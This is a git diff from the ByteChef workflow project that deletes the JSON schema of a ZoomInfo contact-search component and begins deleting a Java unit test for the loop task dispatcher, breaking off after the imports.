-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has company revenue data for the contact.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyRevenue",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether ZoomInfo has company headcount data for the contact",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "hasCompanyEmployeeCount",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Contact flagged with do not call for direct phone.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "directPhoneDoNotCall",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Contact flagged with do not call for mobile phone.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "mobilePhoneDoNotCall",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "additionalProperties": null,
-                "advancedOption": null,
-                "controlType": "OBJECT_BUILDER",
-                "defaultValue": null,
-                "description": "Management status of the record.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "multipleValues": null,
-                "name": "managementStatus",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "properties": [ {
-                  "advancedOption": null,
-                  "controlType": "SELECT",
-                  "defaultValue": null,
-                  "description": "Indicates whether record is under management within the contract period.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "metadata": { },
-                  "name": "underManagement",
-                  "options": [ {
-                    "description": null,
-                    "label": "True",
-                    "value": true
-                  }, {
-                    "description": null,
-                    "label": "False",
-                    "value": false
-                  } ],
-                  "placeholder": null,
-                  "required": null,
-                  "type": "BOOLEAN"
-                }, {
-                  "advancedOption": null,
-                  "controlType": "TEXT",
-                  "defaultValue": null,
-                  "description": "Indicates when record was purchased if it is under management.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "languageId": null,
-                  "maxLength": null,
-                  "metadata": { },
-                  "minLength": null,
-                  "name": "purchaseDate",
-                  "options": null,
-                  "optionsDataSource": null,
-                  "optionsLoadedDynamically": null,
-                  "placeholder": null,
-                  "regex": null,
-                  "required": null,
-                  "type": "STRING"
-                } ],
-                "required": null,
-                "type": "OBJECT"
-              }, {
-                "additionalProperties": null,
-                "advancedOption": null,
-                "controlType": "OBJECT_BUILDER",
-                "defaultValue": null,
-                "description": "Contact's company data.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "multipleValues": null,
-                "name": "company",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "properties": [ {
-                  "advancedOption": null,
-                  "controlType": "INTEGER",
-                  "defaultValue": null,
-                  "description": "Unique ZoomInfo identifier for a company.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "maxValue": null,
-                  "metadata": { },
-                  "minValue": null,
-                  "name": "id",
-                  "options": null,
-                  "optionsDataSource": null,
-                  "placeholder": null,
-                  "required": null,
-                  "type": "INTEGER"
-                }, {
-                  "advancedOption": null,
-                  "controlType": "TEXT",
-                  "defaultValue": null,
-                  "description": "Company Name.",
-                  "displayCondition": null,
-                  "exampleValue": null,
-                  "expressionEnabled": null,
-                  "hidden": null,
-                  "label": null,
-                  "languageId": null,
-                  "maxLength": null,
-                  "metadata": { },
-                  "minLength": null,
-                  "name": "name",
-                  "options": null,
-                  "optionsDataSource": null,
-                  "optionsLoadedDynamically": null,
-                  "placeholder": null,
-                  "regex": null,
-                  "required": null,
-                  "type": "STRING"
-                } ],
-                "required": null,
-                "type": "OBJECT"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "label": null,
-          "maxItems": null,
-          "metadata": { },
-          "minItems": null,
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "required": null,
-          "type": "ARRAY"
-        },
-        "placeholder": null,
-        "sampleOutput": null
-      },
-      "outputSchema": {
-        "advancedOption": null,
-        "controlType": "ARRAY_BUILDER",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "items": [ {
-          "additionalProperties": null,
-          "advancedOption": null,
-          "controlType": "OBJECT_BUILDER",
-          "defaultValue": null,
-          "description": null,
-          "displayCondition": null,
-          "exampleValue": null,
-          "expressionEnabled": null,
-          "hidden": null,
-          "label": null,
-          "metadata": { },
-          "multipleValues": null,
-          "name": null,
-          "options": null,
-          "optionsDataSource": null,
-          "placeholder": null,
-          "properties": [ {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "The unique identifier for the resource.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "id",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "advancedOption": null,
-            "controlType": "TEXT",
-            "defaultValue": null,
-            "description": "The type of the resource.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "languageId": null,
-            "maxLength": null,
-            "metadata": { },
-            "minLength": null,
-            "name": "type",
-            "options": null,
-            "optionsDataSource": null,
-            "optionsLoadedDynamically": null,
-            "placeholder": null,
-            "regex": null,
-            "required": null,
-            "type": "STRING"
-          }, {
-            "additionalProperties": null,
-            "advancedOption": null,
-            "controlType": "OBJECT_BUILDER",
-            "defaultValue": null,
-            "description": "Response attributes for contact search.",
-            "displayCondition": null,
-            "exampleValue": null,
-            "expressionEnabled": null,
-            "hidden": null,
-            "label": null,
-            "metadata": { },
-            "multipleValues": null,
-            "name": "attributes",
-            "options": null,
-            "optionsDataSource": null,
-            "placeholder": null,
-            "properties": [ {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Contact first name.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "firstName",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Contact middle name.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "middleName",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Contact last name.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "lastName",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Date on which the contact record was last validated.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "validDate",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Date on which the contact record was last updated.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "lastUpdatedDate",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Contact job title at current place of employment.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "jobTitle",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "INTEGER",
-              "defaultValue": null,
-              "description": "This score indicates the likelihood that a contact is reachable and still employed by the company listed. Minimum score is 75 and maximum is 99.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "maxValue": null,
-              "metadata": { },
-              "minValue": null,
-              "name": "contactAccuracyScore",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "required": null,
-              "type": "INTEGER"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Comma-separated list of contact management levels.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "managementLevel",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "TEXT",
-              "defaultValue": null,
-              "description": "Get last Education information.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "languageId": null,
-              "maxLength": null,
-              "metadata": { },
-              "minLength": null,
-              "name": "school",
-              "options": null,
-              "optionsDataSource": null,
-              "optionsLoadedDynamically": null,
-              "placeholder": null,
-              "regex": null,
-              "required": null,
-              "type": "STRING"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has an email address for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasEmail",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a supplemental email address for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasSupplementalEmail",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a direct phone number for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasDirectPhone",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a mobile phone number for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasMobilePhone",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has company industry for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyIndustry",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a company phone number for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyPhone",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a street address for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyStreet",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a state for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyState",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a Zip Code or Postal Code for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyZipCode",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has a country for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyCountry",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has company revenue data for the contact.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyRevenue",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Indicates whether ZoomInfo has company headcount data for the contact",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "hasCompanyEmployeeCount",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Contact flagged with do not call for direct phone.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "directPhoneDoNotCall",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "advancedOption": null,
-              "controlType": "SELECT",
-              "defaultValue": null,
-              "description": "Contact flagged with do not call for mobile phone.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "name": "mobilePhoneDoNotCall",
-              "options": [ {
-                "description": null,
-                "label": "True",
-                "value": true
-              }, {
-                "description": null,
-                "label": "False",
-                "value": false
-              } ],
-              "placeholder": null,
-              "required": null,
-              "type": "BOOLEAN"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Management status of the record.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "managementStatus",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "SELECT",
-                "defaultValue": null,
-                "description": "Indicates whether record is under management within the contract period.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "metadata": { },
-                "name": "underManagement",
-                "options": [ {
-                  "description": null,
-                  "label": "True",
-                  "value": true
-                }, {
-                  "description": null,
-                  "label": "False",
-                  "value": false
-                } ],
-                "placeholder": null,
-                "required": null,
-                "type": "BOOLEAN"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Indicates when record was purchased if it is under management.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "purchaseDate",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            }, {
-              "additionalProperties": null,
-              "advancedOption": null,
-              "controlType": "OBJECT_BUILDER",
-              "defaultValue": null,
-              "description": "Contact's company data.",
-              "displayCondition": null,
-              "exampleValue": null,
-              "expressionEnabled": null,
-              "hidden": null,
-              "label": null,
-              "metadata": { },
-              "multipleValues": null,
-              "name": "company",
-              "options": null,
-              "optionsDataSource": null,
-              "placeholder": null,
-              "properties": [ {
-                "advancedOption": null,
-                "controlType": "INTEGER",
-                "defaultValue": null,
-                "description": "Unique ZoomInfo identifier for a company.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "maxValue": null,
-                "metadata": { },
-                "minValue": null,
-                "name": "id",
-                "options": null,
-                "optionsDataSource": null,
-                "placeholder": null,
-                "required": null,
-                "type": "INTEGER"
-              }, {
-                "advancedOption": null,
-                "controlType": "TEXT",
-                "defaultValue": null,
-                "description": "Company Name.",
-                "displayCondition": null,
-                "exampleValue": null,
-                "expressionEnabled": null,
-                "hidden": null,
-                "label": null,
-                "languageId": null,
-                "maxLength": null,
-                "metadata": { },
-                "minLength": null,
-                "name": "name",
-                "options": null,
-                "optionsDataSource": null,
-                "optionsLoadedDynamically": null,
-                "placeholder": null,
-                "regex": null,
-                "required": null,
-                "type": "STRING"
-              } ],
-              "required": null,
-              "type": "OBJECT"
-            } ],
-            "required": null,
-            "type": "OBJECT"
-          } ],
-          "required": null,
-          "type": "OBJECT"
-        } ],
-        "label": null,
-        "maxItems": null,
-        "metadata": { },
-        "minItems": null,
-        "multipleValues": null,
-        "name": null,
-        "options": null,
-        "optionsDataSource": null,
-        "placeholder": null,
-        "required": null,
-        "type": "ARRAY"
-      },
-      "sampleOutput": null
-    },
-    "processErrorResponse": null,
-    "properties": [ {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Work email address for the contact in example@example.com format.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Email",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "emailAddress",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact full name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Full Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "fullName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact first name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "First Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "firstName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact last name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Last Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "lastName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact title at current place of employment.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Job Title",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "jobTitle",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Contact department at current place of employment.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Department",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "department",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    }, {
-      "advancedOption": null,
-      "controlType": "TEXT",
-      "defaultValue": null,
-      "description": "Company name.",
-      "displayCondition": null,
-      "exampleValue": null,
-      "expressionEnabled": null,
-      "hidden": null,
-      "label": "Company Name",
-      "languageId": null,
-      "maxLength": null,
-      "metadata": { },
-      "minLength": null,
-      "name": "companyName",
-      "options": null,
-      "optionsDataSource": null,
-      "optionsLoadedDynamically": null,
-      "placeholder": null,
-      "regex": null,
-      "required": false,
-      "type": "STRING"
-    } ],
-    "title": "Search Contact",
-    "type": {
-      "name": "TOOLS",
-      "key": "tools",
-      "label": "Tools",
-      "multipleElements": true,
-      "required": false
-    },
-    "workflowNodeDescription": null
-  } ],
-  "componentCategories": [ {
-    "name": "marketing-automation",
-    "label": "Marketing Automation"
-  } ],
-  "connection": {
-    "authorizationRequired": null,
-    "authorizations": [ {
-      "acquire": null,
-      "apply": { },
-      "authorizationCallback": null,
-      "authorizationUrl": null,
-      "clientId": null,
-      "clientSecret": null,
-      "description": null,
-      "detectOn": null,
-      "name": "bearer_token",
-      "oauth2AuthorizationExtraQueryParameters": null,
-      "pkce": null,
-      "properties": [ {
-        "advancedOption": null,
-        "controlType": "TEXT",
-        "defaultValue": null,
-        "description": null,
-        "displayCondition": null,
-        "exampleValue": null,
-        "expressionEnabled": null,
-        "hidden": null,
-        "label": "Token",
-        "languageId": null,
-        "maxLength": null,
-        "metadata": { },
-        "minLength": null,
-        "name": "token",
-        "options": null,
-        "optionsDataSource": null,
-        "optionsLoadedDynamically": null,
-        "placeholder": null,
-        "regex": null,
-        "required": true,
-        "type": "STRING"
-      } ],
-      "refresh": null,
-      "refreshOn": null,
-      "refreshToken": null,
-      "refreshUrl": null,
-      "scopes": null,
-      "title": "Bearer Token",
-      "tokenUrl": null,
-      "type": "BEARER_TOKEN"
-    } ],
-    "baseUri": { },
-    "help": null,
-    "processErrorResponse": null,
-    "properties": null,
-    "test": null,
-    "version": 1
-  },
-  "customAction": null,
-  "customActionHelp": null,
-  "description": "ZoomInfo is a platform that provides companies with accurate contact data and sales insights to help them find and engage potential customers.",
-  "icon": "path:assets/zoominfo.svg",
-  "metadata": null,
-  "name": "zoominfo",
-  "resources": null,
-  "tags": null,
-  "title": "ZoomInfo",
-  "triggers": null,
-  "unifiedApi": null,
-  "version": 1
-}
\ No newline at end of file
diff --git a/server/libs/modules/task-dispatchers/loop/src/test/java/com/bytechef/task/dispatcher/loop/LoopTaskDispatcherDefinitionFactoryVariablePropertiesTest.java b/server/libs/modules/task-dispatchers/loop/src/test/java/com/bytechef/task/dispatcher/loop/LoopTaskDispatcherDefinitionFactoryVariablePropertiesTest.java
deleted file mode 100644
index 542848cb864..00000000000
--- a/server/libs/modules/task-dispatchers/loop/src/test/java/com/bytechef/task/dispatcher/loop/LoopTaskDispatcherDefinitionFactoryVariablePropertiesTest.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.task.dispatcher.loop;
-
-import static com.bytechef.task.dispatcher.loop.constant.LoopTaskDispatcherConstants.INDEX;
-import static com.bytechef.task.dispatcher.loop.constant.LoopTaskDispatcherConstants.ITEM;
-import static com.bytechef.task.dispatcher.loop.constant.LoopTaskDispatcherConstants.ITEMS;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import com.bytechef.definition.BaseOutputDefinition.OutputResponse;
-import com.bytechef.definition.BaseProperty;
-import com.bytechef.definition.BaseProperty.BaseValueProperty;
-import com.bytechef.platform.workflow.task.dispatcher.definition.TaskDispatcherDsl.ModifiableObjectProperty;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-
-/**
